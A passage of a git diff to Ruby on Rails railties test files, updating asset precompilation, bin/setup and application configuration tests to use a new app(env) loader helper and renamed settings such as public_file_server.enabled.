Dir["#{app_path}/public/production_assets/application-*.css"].first + assert_match(/production_assets\/rails-([0-z]+)\.png/, File.read(file)) + end + test 'precompile use assets defined in app config and reassigned in app env config' do - add_to_config 'config.assets.precompile = [ "something.js" ]' - add_to_env_config 'production', 'config.assets.precompile += [ "another.js" ]' + add_to_config 'config.assets.precompile = [ "something_manifest.js" ]' + add_to_env_config 'production', 'config.assets.precompile += [ "another_manifest.js" ]' + + app_file 'app/assets/config/something_manifest.js', '//= link something.js' + app_file 'app/assets/config/another_manifest.js', '//= link another.js' app_file 'app/assets/javascripts/something.js.erb', 'alert();' app_file 'app/assets/javascripts/another.js.erb', 'alert();' - precompile! 'RAILS_ENV=production' + precompile! RAILS_ENV: 'production' + assert_file_exists("#{app_path}/public/assets/something_manifest-*.js") assert_file_exists("#{app_path}/public/assets/something-*.js") + assert_file_exists("#{app_path}/public/assets/another_manifest-*.js") assert_file_exists("#{app_path}/public/assets/another-*.js") end - test "asset pipeline should use a Sprockets::Index when config.assets.digest is true" do + test "asset pipeline should use a Sprockets::CachedEnvironment when config.assets.digest is true" do add_to_config "config.action_controller.perform_caching = false" + add_to_env_config "production", "config.assets.compile = true" - ENV["RAILS_ENV"] = "production" - require "#{app_path}/config/environment" + # Load app env + app "production" - assert_equal Sprockets::Index, Rails.application.assets.class + assert_equal Sprockets::CachedEnvironment, Rails.application.assets.class end test "precompile creates a manifest file with all the assets listed" do @@ -204,8 +240,8 @@ module ApplicationTests app_file "app/assets/javascripts/application.js", "alert();" precompile! - manifest = Dir["#{app_path}/public/assets/manifest-*.json"].first + manifest = Dir["#{app_path}/public/assets/.sprockets-manifest-*.json"].first assets = ActiveSupport::JSON.decode(File.read(manifest)) assert_match(/application-([0-z]+)\.js/, assets["assets"]["application.js"]) assert_match(/application-([0-z]+)\.css/, assets["assets"]["application.css"]) @@ -217,23 +253,23 @@ module ApplicationTests precompile! - manifest = Dir["#{app_path}/public/x/manifest-*.json"].first + manifest = Dir["#{app_path}/public/x/.sprockets-manifest-*.json"].first assets = ActiveSupport::JSON.decode(File.read(manifest)) assert_match(/application-([0-z]+)\.js/, assets["assets"]["application.js"]) end test "assets do not require any assets group gem when manifest file is present" do app_file "app/assets/javascripts/application.js", "alert();" - add_to_env_config "production", "config.serve_static_files = true" + add_to_env_config "production", "config.public_file_server.enabled = true" - ENV["RAILS_ENV"] = "production" - precompile! + precompile! RAILS_ENV: 'production' - manifest = Dir["#{app_path}/public/assets/manifest-*.json"].first + manifest = Dir["#{app_path}/public/assets/.sprockets-manifest-*.json"].first assets = ActiveSupport::JSON.decode(File.read(manifest)) asset_path = assets["assets"]["application.js"] - require "#{app_path}/config/environment" + # Load app env + app "production" # Checking if Uglifier is defined we can know if Sprockets was reached or not assert !defined?(Uglifier) @@ -242,12 +278,11 @@ module ApplicationTests assert !defined?(Uglifier) end - test "precompile properly refers files referenced with asset_path and runs in the provided RAILS_ENV" do + test "precompile properly refers files referenced with asset_path" do app_file "app/assets/images/rails.png", "notactuallyapng" - app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>" - add_to_env_config "test", "config.assets.digest = true" + app_file "app/assets/stylesheets/application.css.erb", "p { background-image: url(<%= asset_path('rails.png') %>) }" - precompile!('RAILS_ENV=test') + precompile! file = Dir["#{app_path}/public/assets/application-*.css"].first assert_match(/\/assets\/rails-([0-z]+)\.png/, File.read(file)) @@ -256,29 +291,27 @@ module ApplicationTests test "precompile shouldn't use the digests present in manifest.json" do app_file "app/assets/images/rails.png", "notactuallyapng" - app_file "app/assets/stylesheets/application.css.erb", "p { url: <%= asset_path('rails.png') %> }" + app_file "app/assets/stylesheets/application.css.erb", "p { background-image: url(<%= asset_path('rails.png') %>) }" - ENV["RAILS_ENV"] = "production" - precompile! + precompile! RAILS_ENV: 'production' - manifest = Dir["#{app_path}/public/assets/manifest-*.json"].first + manifest = Dir["#{app_path}/public/assets/.sprockets-manifest-*.json"].first assets = ActiveSupport::JSON.decode(File.read(manifest)) asset_path = assets["assets"]["application.css"] app_file "app/assets/images/rails.png", "p { url: change }" precompile! - assets = ActiveSupport::JSON.decode(File.read(manifest)) + assets = ActiveSupport::JSON.decode(File.read(manifest)) assert_not_equal asset_path, assets["assets"]["application.css"] end - test "precompile appends the md5 hash to files referenced with asset_path and run in production with digest true" do + test "precompile appends the MD5 hash to files referenced with asset_path and run in production with digest true" do app_file "app/assets/images/rails.png", "notactuallyapng" - app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>" + app_file "app/assets/stylesheets/application.css.erb", "p { background-image: url(<%= asset_path('rails.png') %>) }" - ENV["RAILS_ENV"] = "production" - precompile! + precompile! RAILS_ENV: 'production' file = Dir["#{app_path}/public/assets/application-*.css"].first assert_match(/\/assets\/rails-([0-z]+)\.png/, File.read(file)) @@ -287,15 +320,17 @@ module ApplicationTests test "precompile should handle utf8 filenames" do filename = "レイルズ.png" app_file "app/assets/images/#{filename}", "not an image really" - add_to_config "config.assets.precompile = [ /\.png$/, /application.(css|js)$/ ]" + app_file "app/assets/config/manifest.js", "//= link_tree ../images" + add_to_config "config.assets.precompile = %w(manifest.js)" precompile! - manifest = Dir["#{app_path}/public/assets/manifest-*.json"].first + manifest = Dir["#{app_path}/public/assets/.sprockets-manifest-*.json"].first assets = ActiveSupport::JSON.decode(File.read(manifest)) assert asset_path = assets["assets"].find { |(k, _)| k && k =~ /.png/ }[1] - require "#{app_path}/config/environment" + # Load app env + app "development" get "/assets/#{URI.parser.escape(asset_path)}" assert_match "not an image really", last_response.body @@ -309,8 +344,7 @@ module ApplicationTests clean_assets! - files = Dir["#{app_path}/public/assets/**/*", "#{app_path}/tmp/cache/assets/development/*", - "#{app_path}/tmp/cache/assets/test/*", "#{app_path}/tmp/cache/assets/production/*"] + files = Dir["#{app_path}/public/assets/**/*"] assert_equal 0, files.length, "Expected no assets, but found #{files.join(', ')}" end @@ -318,8 +352,8 @@ module ApplicationTests app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();" add_to_config "config.assets.compile = false" - ENV["RAILS_ENV"] = "production" - require "#{app_path}/config/environment" + # Load app env + app "production" get "/assets/demo.js" assert_equal 404, last_response.status @@ -336,7 +370,8 @@ module ApplicationTests add_to_env_config "development", "config.assets.digest = false" - require "#{app_path}/config/environment" + # Load app env + app "development" class ::OmgController < ActionController::Base def index @@ -362,7 +397,8 @@ module ApplicationTests add_to_env_config "development", "config.assets.digest = false" - require "#{app_path}/config/environment" + # Load app env + app "development" get "/assets/demo.js" assert_match "alert();", last_response.body @@ -373,10 +409,10 @@ module ApplicationTests app_with_assets_in_view # config.assets.debug and config.assets.compile are false for production environment - ENV["RAILS_ENV"] = "production" - precompile! + precompile! RAILS_ENV: 'production' - require "#{app_path}/config/environment" + # Load app env + app "production" class ::PostsController < ActionController::Base ; end @@ -392,7 +428,8 @@ module ApplicationTests app_file "app/assets/javascripts/xmlhr.js.erb", "<%= Post.name %>" precompile! - assert_equal "Post;\n", File.read(Dir["#{app_path}/public/assets/application-*.js"].first) + + assert_match(/Post;/, File.read(Dir["#{app_path}/public/assets/application-*.js"].first)) end test "initialization on the assets group should set assets_dir" do @@ -433,13 +470,16 @@ module ApplicationTests app_with_assets_in_view add_to_config "config.asset_host = 'example.com'" add_to_env_config "development", "config.assets.digest = false" - require "#{app_path}/config/environment" + + # Load app env + app "development" + class ::PostsController < ActionController::Base; end get '/posts', {}, {'HTTPS'=>'off'} - assert_match('src="http://example.com/assets/application.js', last_response.body) + assert_match('src="http://example.com/assets/application.self.js', last_response.body) get '/posts', {}, {'HTTPS'=>'on'} - assert_match('src="https://example.com/assets/application.js', last_response.body) + assert_match('src="https://example.com/assets/application.self.js', last_response.body) end test "asset urls should be protocol-relative if no request is in scope" do @@ -448,6 +488,7 @@ module ApplicationTests add_to_config "config.assets.precompile = %w{rails.png image_loader.js}" add_to_config "config.asset_host = 'example.com'" add_to_env_config "development", "config.assets.digest = false" + precompile! assert_match "src='//example.com/assets/rails.png'", File.read(Dir["#{app_path}/public/assets/image_loader-*.js"].first) @@ -459,20 +500,10 @@ module ApplicationTests app_file "app/assets/javascripts/app.js.erb", "var src='<%= image_path('rails.png') %>';" add_to_config "config.assets.precompile = %w{rails.png app.js}" add_to_env_config "development", "config.assets.digest = false" - precompile! - - assert_match "src='/sub/uri/assets/rails.png'", File.read(Dir["#{app_path}/public/assets/app-*.js"].first) - end - test "assets:cache:clean should clean cache" do - ENV["RAILS_ENV"] = "production" precompile! - quietly do - Dir.chdir(app_path){ `bundle exec rake assets:clobber` } - end - - assert !File.exist?("#{app_path}/tmp/cache/assets") + assert_match "src='/sub/uri/assets/rails.png'", File.read(Dir["#{app_path}/public/assets/app-*.js"].first) end private diff --git a/railties/test/application/bin_setup_test.rb b/railties/test/application/bin_setup_test.rb new file mode 100644 index 0000000000..ba700df1d6 --- /dev/null +++ b/railties/test/application/bin_setup_test.rb @@ -0,0 +1,56 @@ +require 'isolation/abstract_unit' + +module ApplicationTests + class BinSetupTest < ActiveSupport::TestCase + include ActiveSupport::Testing::Isolation + + def setup + build_app + end + + def teardown + teardown_app + end + + def test_bin_setup + Dir.chdir(app_path) do + app_file 'db/schema.rb', <<-RUBY + ActiveRecord::Schema.define(version: 20140423102712) do + create_table(:articles) {} + end + RUBY + + list_tables = lambda { `bin/rails runner 'p ActiveRecord::Base.connection.tables'`.strip } + File.write("log/test.log", "zomg!") + + assert_equal '[]', list_tables.call + assert_equal 5, File.size("log/test.log") + assert_not File.exist?("tmp/restart.txt") + `bin/setup 2>&1` + assert_equal 0, File.size("log/test.log") + assert_equal '["articles", "schema_migrations", "ar_internal_metadata"]', list_tables.call + assert File.exist?("tmp/restart.txt") + end + end + + def test_bin_setup_output + Dir.chdir(app_path) do + app_file 'db/schema.rb', "" + + output = `bin/setup 2>&1` + assert_equal(<<-OUTPUT, output) +== Installing dependencies == +The Gemfile's dependencies are satisfied + +== Preparing database == +Created database 'db/development.sqlite3' +Created database 'db/test.sqlite3' + +== Removing old logs and tempfiles == + +== Restarting application server == + OUTPUT + end + end + end +end diff --git a/railties/test/application/configuration/base_test.rb b/railties/test/application/configuration/base_test.rb deleted file mode 100644 index d6a82b139d..0000000000 --- a/railties/test/application/configuration/base_test.rb +++ /dev/null @@ -1,37 +0,0 @@ -require 'isolation/abstract_unit' -require 'rack/test' -require 'env_helpers' - -module ApplicationTests - module ConfigurationTests - class BaseTest < ActiveSupport::TestCase - def setup - build_app - boot_rails - FileUtils.rm_rf("#{app_path}/config/environments") - end - - def teardown - teardown_app - FileUtils.rm_rf(new_app) if File.directory?(new_app) - end - - private - def new_app - File.expand_path("#{app_path}/../new_app") - end - - def copy_app - FileUtils.cp_r(app_path, new_app) - end - - def app - @app ||= Rails.application - end - - def require_environment - require "#{app_path}/config/environment" - end - end - end -end
\ No newline at end of file diff --git a/railties/test/application/configuration/custom_test.rb b/railties/test/application/configuration/custom_test.rb index f8d22f6d97..28b3b2f2d6 100644 --- a/railties/test/application/configuration/custom_test.rb +++ b/railties/test/application/configuration/custom_test.rb @@ -1,22 +1,54 @@ -require 'application/configuration/base_test' - -class ApplicationTests::ConfigurationTests::CustomTest < ApplicationTests::ConfigurationTests::BaseTest - test 'access custom configuration point' do - add_to_config <<-RUBY - config.x.payment_processing.schedule = :daily - config.x.payment_processing.retries = 3 - config.x.super_debugger = true - config.x.hyper_debugger = false - config.x.nil_debugger = nil - RUBY - require_environment - - x = Rails.configuration.x - assert_equal :daily, x.payment_processing.schedule - assert_equal 3, x.payment_processing.retries - assert_equal true, x.super_debugger - assert_equal false, x.hyper_debugger - assert_equal nil, x.nil_debugger - assert_nil x.i_do_not_exist.zomg +require 'isolation/abstract_unit' + +module ApplicationTests + module ConfigurationTests + class CustomTest < ActiveSupport::TestCase + def setup + build_app + boot_rails + FileUtils.rm_rf("#{app_path}/config/environments") + end + + def teardown + teardown_app + FileUtils.rm_rf(new_app) if File.directory?(new_app) + end + + test 'access custom configuration point' do + add_to_config <<-RUBY + config.x.payment_processing.schedule = :daily + config.x.payment_processing.retries = 3 + config.x.super_debugger = true + config.x.hyper_debugger = false + config.x.nil_debugger = nil + RUBY + require_environment + + x = Rails.configuration.x + assert_equal :daily, x.payment_processing.schedule + assert_equal 3, x.payment_processing.retries + assert_equal true, x.super_debugger + assert_equal false, x.hyper_debugger + assert_equal nil, x.nil_debugger + assert_nil x.i_do_not_exist.zomg + end + + private + def new_app + File.expand_path("#{app_path}/../new_app") + end + + def copy_app + FileUtils.cp_r(app_path, new_app) + end + + def app + @app ||= Rails.application + end + + def require_environment + require "#{app_path}/config/environment" + end + end end end diff --git a/railties/test/application/configuration_test.rb b/railties/test/application/configuration_test.rb index 8f5b2d0d68..9f3a9cd232 100644 --- a/railties/test/application/configuration_test.rb +++ b/railties/test/application/configuration_test.rb @@ -34,8 +34,19 @@ module ApplicationTests FileUtils.cp_r(app_path, new_app) end - def app - @app ||= Rails.application + def app(env = 'development') + @app ||= begin + ENV['RAILS_ENV'] = env + + # FIXME: shush Sass warning spam, not relevant to testing Railties + Kernel.silence_warnings do + require "#{app_path}/config/environment" + end + + Rails.application + ensure + ENV.delete 'RAILS_ENV' + end end def setup @@ -68,6 +79,24 @@ module ApplicationTests end end + test "By default logs tags are not set in development" do + restore_default_config + + with_rails_env "development" do + app 'development' + assert Rails.application.config.log_tags.blank? + end + end + + test "By default logs are tagged with :request_id in production" do + restore_default_config + + with_rails_env "production" do + app 'production' + assert_equal [:request_id], Rails.application.config.log_tags + end + end + test "lib dir is on LOAD_PATH during config" do app_file 'lib/my_logger.rb', <<-RUBY require "logger" @@ -78,7 +107,9 @@ module ApplicationTests require 'my_logger' config.logger = MyLogger.new STDOUT RUBY - require "#{app_path}/config/environment" + + app 'development' + assert_equal 'MyLogger', Rails.application.config.logger.class.name end @@ -90,14 +121,14 @@ module ApplicationTests RUBY app_file 'db/migrate/20140708012246_create_user.rb', <<-RUBY - class CreateUser < ActiveRecord::Migration + class CreateUser < ActiveRecord::Migration::Current def change create_table :users end end RUBY - require "#{app_path}/config/environment" + app 'development' ActiveRecord::Migrator.migrations_paths = ["#{app_path}/db/migrate"] @@ -128,29 +159,29 @@ module ApplicationTests test "Rails.application is nil until app is initialized" do require 'rails' assert_nil Rails.application - require "#{app_path}/config/environment" + app 'development' assert_equal AppTemplate::Application.instance, Rails.application end test "Rails.application responds to all instance methods" do - require "#{app_path}/config/environment" + app 'development' assert_respond_to Rails.application, :routes_reloader assert_equal Rails.application.routes_reloader, AppTemplate::Application.routes_reloader end test "Rails::Application responds to paths" do - require "#{app_path}/config/environment" + app 'development' assert_respond_to AppTemplate::Application, :paths assert_equal ["#{app_path}/app/views"], AppTemplate::Application.paths["app/views"].expanded end test "the application root is set correctly" do - require "#{app_path}/config/environment" + app 'development' assert_equal Pathname.new(app_path), Rails.application.root end test "the application root can be seen from the application singleton" do - require "#{app_path}/config/environment" + app 'development' assert_equal Pathname.new(app_path), AppTemplate::Application.root end @@ -162,7 +193,8 @@ module ApplicationTests use_frameworks [] - require "#{app_path}/config/environment" + app 'development' + assert_equal Pathname.new(new_app), Rails.application.root end @@ -172,7 +204,7 @@ module ApplicationTests use_frameworks [] Dir.chdir("#{app_path}") do - require "#{app_path}/config/environment" + app 'development' assert_equal Pathname.new("#{app_path}"), Rails.application.root end end @@ -181,7 +213,9 @@ module ApplicationTests add_to_config <<-RUBY config.root = "#{app_path}" RUBY - require "#{app_path}/config/environment" + + app 'development' + assert_instance_of Pathname, Rails.root end @@ -189,7 +223,9 @@ module ApplicationTests add_to_config <<-RUBY config.paths["public"] = "somewhere" RUBY - require "#{app_path}/config/environment" + + app 'development' + assert_instance_of Pathname, Rails.public_path end @@ -199,16 +235,19 @@ module ApplicationTests config.cache_classes = true RUBY - require "#{app_path}/config/application" - assert Rails.application.initialize! + app 'development' + + assert_equal :require, ActiveSupport::Dependencies.mechanism end test "application is always added to eager_load namespaces" do - require "#{app_path}/config/application" + app 'development' assert_includes Rails.application.config.eager_load_namespaces, AppTemplate::Application end test "the application can be eager loaded even when there are no frameworks" do + FileUtils.rm_rf("#{app_path}/app/models/application_record.rb") + FileUtils.rm_rf("#{app_path}/app/mailers/application_mailer.rb") FileUtils.rm_rf("#{app_path}/config/environments") add_to_config <<-RUBY config.eager_load = true @@ -218,7 +257,7 @@ module ApplicationTests use_frameworks [] assert_nothing_raised do - require "#{app_path}/config/application" + app 'development' end end @@ -230,7 +269,7 @@ module ApplicationTests RUBY assert_nothing_raised do - require "#{app_path}/config/application" + app 'development' end end @@ -239,7 +278,7 @@ module ApplicationTests Rails.application.config.filter_parameters += [ :password, :foo, 'bar' ] RUBY - require "#{app_path}/config/environment" + app 'development' assert_equal [:password, :foo, 'bar'], Rails.application.env_config['action_dispatch.parameter_filter'] end @@ -255,7 +294,7 @@ module ApplicationTests assert !$prepared - require "#{app_path}/config/environment" + app 'development' get "/" assert $prepared @@ -267,7 +306,7 @@ module ApplicationTests end test "skipping config.encoding still results in 'utf-8' as the default" do - require "#{app_path}/config/application" + app 'development' assert_utf8 end @@ -276,7 +315,7 @@ module ApplicationTests config.encoding = "utf-8" RUBY - require "#{app_path}/config/application" + app 'development' assert_utf8 end @@ -285,41 +324,72 @@ module ApplicationTests config.paths["public"] = "somewhere" RUBY - require "#{app_path}/config/application" + app 'development' assert_equal Pathname.new(app_path).join("somewhere"), Rails.public_path end - test "In production mode, config.serve_static_files is off by default" do + test "In production mode, config.public_file_server.enabled is off by default" do restore_default_config with_rails_env "production" do - require "#{app_path}/config/environment" - assert_not app.config.serve_static_files + app 'production' + assert_not app.config.public_file_server.enabled end end - test "In production mode, config.serve_static_files is enabled when RAILS_SERVE_STATIC_FILES is set" do + test "In production mode, config.public_file_server.enabled is enabled when RAILS_SERVE_STATIC_FILES is set" do restore_default_config with_rails_env "production" do switch_env "RAILS_SERVE_STATIC_FILES", "1" do - require "#{app_path}/config/environment" - assert app.config.serve_static_files + app 'production' + assert app.config.public_file_server.enabled end end end - test "In production mode, config.serve_static_files is disabled when RAILS_SERVE_STATIC_FILES is blank" do + test "In production mode, STDOUT logging is enabled when RAILS_LOG_TO_STDOUT is set" do + restore_default_config + + with_rails_env "production" do + switch_env "RAILS_LOG_TO_STDOUT", "1" do + app 'production' + assert ActiveSupport::Logger.logger_outputs_to?(app.config.logger, STDOUT) + end + end + end + + test "In production mode, config.public_file_server.enabled is disabled when RAILS_SERVE_STATIC_FILES is blank" do restore_default_config with_rails_env "production" do switch_env "RAILS_SERVE_STATIC_FILES", " " do - require "#{app_path}/config/environment" - assert_not app.config.serve_static_files + app 'production' + assert_not app.config.public_file_server.enabled end end end + test "config.serve_static_files is deprecated" do + make_basic_app do |application| + assert_deprecated do + application.config.serve_static_files = true + end + + assert application.config.public_file_server.enabled + end + end + + test "config.static_cache_control is deprecated" do + make_basic_app do |application| + assert_deprecated do + application.config.static_cache_control = "public, max-age=60" + end + + assert_equal application.config.static_cache_control, "public, max-age=60" + end + end + test "Use key_generator when secret_key_base is set" do make_basic_app do |application| application.secrets.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33' @@ -363,8 +433,8 @@ module ApplicationTests development: secret_key_base: YAML - require "#{app_path}/config/environment" + app 'development' assert_equal app.env_config['action_dispatch.key_generator'], Rails.application.key_generator assert_equal app.env_config['action_dispatch.key_generator'].class, ActiveSupport::LegacyKeyGenerator @@ -380,13 +450,27 @@ module ApplicationTests development: secret_key_base: YAML - require "#{app_path}/config/environment" + + app 'development' assert_deprecated(/You didn't set `secret_key_base`./) do app.env_config end end + test "raise when secrets.secret_key_base is not a type of string" do + app_file 'config/secrets.yml', <<-YAML + development: + secret_key_base: 123 + YAML + + app 'development' + + assert_raise(ArgumentError) do + app.key_generator + end + end + test "prefer secrets.secret_token over config.secret_token" do app_file 'config/initializers/secret_token.rb', <<-RUBY Rails.application.config.secret_token = "" @@ -395,7 +479,8 @@ module ApplicationTests development: secret_token: 3b7cd727ee24e8444053437c36cc66c3 YAML - require "#{app_path}/config/environment" + + app 'development' assert_equal '3b7cd727ee24e8444053437c36cc66c3', app.secrets.secret_token end @@ -426,7 +511,7 @@ module ApplicationTests secret_key_base: 3b7cd727ee24e8444053437c36cc66c3 YAML - require "#{app_path}/config/environment" + app 'development' assert_equal '3b7cd727ee24e8444053437c36cc66c3', app.secrets.secret_key_base end @@ -436,7 +521,7 @@ module ApplicationTests Rails.application.config.secret_key_base = "3b7cd727ee24e8444053437c36cc66c3" RUBY - require "#{app_path}/config/environment" + app 'development' assert_equal '3b7cd727ee24e8444053437c36cc66c3', app.secrets.secret_key_base end @@ -449,7 +534,8 @@ module ApplicationTests secret_key_base: secret_token: YAML - require "#{app_path}/config/environment" + + app 'development' assert_equal 'b3c631c314c0bbca50c1b2843150fe33', app.secrets.secret_token assert_equal 'b3c631c314c0bbca50c1b2843150fe33', app.config.secret_token @@ -463,7 +549,8 @@ module ApplicationTests aws_secret_access_key: myamazonsecretaccesskey YAML - require "#{app_path}/config/environment" + app 'development' + assert_equal 'myamazonaccesskeyid', app.secrets.aws_access_key_id assert_equal 'myamazonsecretaccesskey', app.secrets.aws_secret_access_key end @@ -471,7 +558,8 @@ module ApplicationTests test "blank config/secrets.yml does not crash the loading process" do app_file 'config/secrets.yml', <<-YAML YAML - require "#{app_path}/config/environment" + + app 'development' assert_nil app.secrets.not_defined end @@ -484,7 +572,8 @@ module ApplicationTests development: secret_key_base: YAML - require "#{app_path}/config/environment" + + app 'development' assert_equal "iaminallyoursecretkeybase", app.secrets.secret_key_base end @@ -497,7 +586,8 @@ module ApplicationTests development: secret_key_base: YAML - require "#{app_path}/config/environment" + + app 'development' assert_equal 'b3c631c314c0bbca50c1b2843150fe33', app.config.secret_token assert_equal nil, app.secrets.secret_key_base @@ -512,7 +602,8 @@ module ApplicationTests development: secret_key_base: YAML - require "#{app_path}/config/environment" + + app 'development' assert_equal '', app.config.secret_token assert_equal nil, app.secrets.secret_key_base @@ -535,7 +626,6 @@ module ApplicationTests end test "default form builder specified as a string" do - app_file 'config/initializers/form_builder.rb', <<-RUBY class CustomFormBuilder < ActionView::Helpers::FormBuilder def text_field(attribute, *args) @@ -567,7 +657,7 @@ module ApplicationTests end RUBY - require "#{app_path}/config/environment" + app 'development' get "/posts" assert_match(/label/, last_response.body) @@ -596,7 +686,7 @@ module ApplicationTests private - def form_authenticity_token; token; end # stub the authenticy token + def form_authenticity_token(*args); token; end # stub the authenticity token end RUBY @@ -606,9 +696,9 @@ module ApplicationTests end RUBY - require "#{app_path}/config/environment" + app 'development' - params = {authenticity_token: token} + params = { authenticity_token: token } get "/posts/1" assert_match(/patch/, last_response.body) @@ -659,9 +749,9 @@ module ApplicationTests config.action_mailer.interceptors = MyMailInterceptor RUBY - require "#{app_path}/config/environment" - require "mail" + app 'development' + require "mail" _ = ActionMailer::Base assert_equal [::MyMailInterceptor], ::Mail.send(:class_variable_get, "@@delivery_interceptors") @@ -672,9 +762,9 @@ module ApplicationTests config.action_mailer.interceptors = [MyMailInterceptor, "MyOtherMailInterceptor"] RUBY - require "#{app_path}/config/environment" - require "mail" + app 'development' + require "mail" _ = ActionMailer::Base assert_equal [::MyMailInterceptor, ::MyOtherMailInterceptor], ::Mail.send(:class_variable_get, "@@delivery_interceptors") @@ -685,12 +775,12 @@ module ApplicationTests config.action_mailer.preview_interceptors = MyPreviewMailInterceptor RUBY - require "#{app_path}/config/environment" - require "mail" + app 'development' + require "mail" _ = ActionMailer::Base - assert_equal [::MyPreviewMailInterceptor], ActionMailer::Base.preview_interceptors + assert_equal [ActionMailer::InlinePreviewInterceptor, ::MyPreviewMailInterceptor], ActionMailer::Base.preview_interceptors end test "registers multiple preview interceptors with ActionMailer" do @@ -698,12 +788,25 @@ module ApplicationTests config.action_mailer.preview_interceptors = [MyPreviewMailInterceptor, "MyOtherPreviewMailInterceptor"] RUBY - require "#{app_path}/config/environment" + app 'development' + require "mail" + _ = ActionMailer::Base + + assert_equal [ActionMailer::InlinePreviewInterceptor, MyPreviewMailInterceptor, MyOtherPreviewMailInterceptor], ActionMailer::Base.preview_interceptors + end + + test "default preview interceptor can be removed" do + app_file 'config/initializers/preview_interceptors.rb', <<-RUBY + ActionMailer::Base.preview_interceptors.delete(ActionMailer::InlinePreviewInterceptor) + RUBY + + app 'development' + require "mail" _ = ActionMailer::Base - assert_equal [MyPreviewMailInterceptor, MyOtherPreviewMailInterceptor], ActionMailer::Base.preview_interceptors + assert_equal [], ActionMailer::Base.preview_interceptors end test "registers observers with ActionMailer" do @@ -711,9 +814,9 @@ module ApplicationTests config.action_mailer.observers = MyMailObserver RUBY - require "#{app_path}/config/environment" - require "mail" + app 'development' + require "mail" _ = ActionMailer::Base assert_equal [::MyMailObserver], ::Mail.send(:class_variable_get, "@@delivery_notification_observers") @@ -724,21 +827,34 @@ module ApplicationTests config.action_mailer.observers = [MyMailObserver, "MyOtherMailObserver"] RUBY - require "#{app_path}/config/environment" - require "mail" + app 'development' + require "mail" _ = ActionMailer::Base assert_equal [::MyMailObserver, ::MyOtherMailObserver], ::Mail.send(:class_variable_get, "@@delivery_notification_observers") end + test "allows setting the queue name for the ActionMailer::DeliveryJob" do + add_to_config <<-RUBY + config.action_mailer.deliver_later_queue_name = 'test_default' + RUBY + + app 'development' + + require "mail" + _ = ActionMailer::Base + + assert_equal 'test_default', ActionMailer::Base.send(:class_variable_get, "@@deliver_later_queue_name") + end + test "valid timezone is setup correctly" do add_to_config <<-RUBY config.root = "#{app_path}" config.time_zone = "Wellington" RUBY - require "#{app_path}/config/environment" + app 'development' assert_equal "Wellington", Rails.application.config.time_zone end @@ -750,7 +866,7 @@ module ApplicationTests RUBY assert_raise(ArgumentError) do - require "#{app_path}/config/environment" + app 'development' end end @@ -760,7 +876,7 @@ module ApplicationTests config.beginning_of_week = :wednesday RUBY - require "#{app_path}/config/environment" + app 'development' assert_equal :wednesday, Rails.application.config.beginning_of_week end @@ -772,13 +888,14 @@ module ApplicationTests RUBY assert_raise(ArgumentError) do - require "#{app_path}/config/environment" + app 'development' end end test "config.action_view.cache_template_loading with cache_classes default" do add_to_config "config.cache_classes = true" - require "#{app_path}/config/environment" + + app 'development' require 'action_view/base' assert_equal true, ActionView::Resolver.caching? @@ -786,7 +903,8 @@ module ApplicationTests test "config.action_view.cache_template_loading without cache_classes default" do add_to_config "config.cache_classes = false" - require "#{app_path}/config/environment" + + app 'development' require 'action_view/base' assert_equal false, ActionView::Resolver.caching? @@ -797,7 +915,8 @@ module ApplicationTests config.cache_classes = true config.action_view.cache_template_loading = false RUBY - require "#{app_path}/config/environment" + + app 'development' require 'action_view/base' assert_equal false, ActionView::Resolver.caching? @@ -808,7 +927,8 @@ module ApplicationTests config.cache_classes = false config.action_view.cache_template_loading = true RUBY - require "#{app_path}/config/environment" + + app 'development' require 'action_view/base' assert_equal true, ActionView::Resolver.caching? @@ -823,7 +943,7 @@ module ApplicationTests require 'action_view/railtie' require 'action_view/base' - require "#{app_path}/config/environment" + app 'development' assert_equal false, ActionView::Resolver.caching? end @@ -876,10 +996,10 @@ module ApplicationTests end RUBY - require "#{app_path}/config/environment" + app 'development' post "/posts.json", '{ "title": "foo", "name": "bar" }', "CONTENT_TYPE" => "application/json" - assert_equal '{"title"=>"foo"}', last_response.body + assert_equal '<ActionController::Parameters {"title"=>"foo"} permitted: false>', last_response.body end test "config.action_controller.permit_all_parameters = true" do @@ -898,7 +1018,7 @@ module ApplicationTests config.action_controller.permit_all_parameters = true RUBY - require "#{app_path}/config/environment" + app 'development' post "/posts", {post: {"title" =>"zomg"}} assert_equal 'permitted', last_response.body @@ -920,7 +1040,7 @@ module ApplicationTests config.action_controller.action_on_unpermitted_parameters = :raise RUBY - require "#{app_path}/config/environment" + app 'development' assert_equal :raise, ActionController::Parameters.action_on_unpermitted_parameters @@ -929,7 +1049,7 @@ module ApplicationTests end test "config.action_controller.always_permitted_parameters are: controller, action by default" do - require "#{app_path}/config/environment" + app 'development' assert_equal %w(controller action), ActionController::Parameters.always_permitted_parameters end @@ -937,7 +1057,9 @@ module ApplicationTests add_to_config <<-RUBY config.action_controller.always_permitted_parameters = %w( controller action format ) RUBY - require "#{app_path}/config/environment" + + app 'development' + assert_equal %w( controller action format ), ActionController::Parameters.always_permitted_parameters end @@ -958,7 +1080,7 @@ module ApplicationTests config.action_controller.action_on_unpermitted_parameters = :raise RUBY - require "#{app_path}/config/environment" + app 'development' assert_equal :raise, ActionController::Parameters.action_on_unpermitted_parameters @@ -967,25 +1089,19 @@ module ApplicationTests end test "config.action_controller.action_on_unpermitted_parameters is :log by default on development" do - ENV["RAILS_ENV"] = "development" - - require "#{app_path}/config/environment" + app 'development' assert_equal :log, ActionController::Parameters.action_on_unpermitted_parameters end test "config.action_controller.action_on_unpermitted_parameters is :log by default on test" do - ENV["RAILS_ENV"] = "test" - - require "#{app_path}/config/environment" + app 'test' assert_equal :log, ActionController::Parameters.action_on_unpermitted_parameters end test "config.action_controller.action_on_unpermitted_parameters is false by default on production" do - ENV["RAILS_ENV"] = "production" - - require "#{app_path}/config/environment" + app 'production' assert_equal false, ActionController::Parameters.action_on_unpermitted_parameters end @@ -1063,17 +1179,14 @@ module ApplicationTests test "config.active_record.dump_schema_after_migration is false on production" do build_app - ENV["RAILS_ENV"] = "production" - require "#{app_path}/config/environment" + app 'production' assert_not ActiveRecord::Base.dump_schema_after_migration end test "config.active_record.dump_schema_after_migration is true by default on development" do - ENV["RAILS_ENV"] = "development" - - require "#{app_path}/config/environment" + app 'development' assert ActiveRecord::Base.dump_schema_after_migration end @@ -1099,7 +1212,7 @@ module ApplicationTests end RUBY - require "#{app_path}/config/environment" + app 'development' assert_not 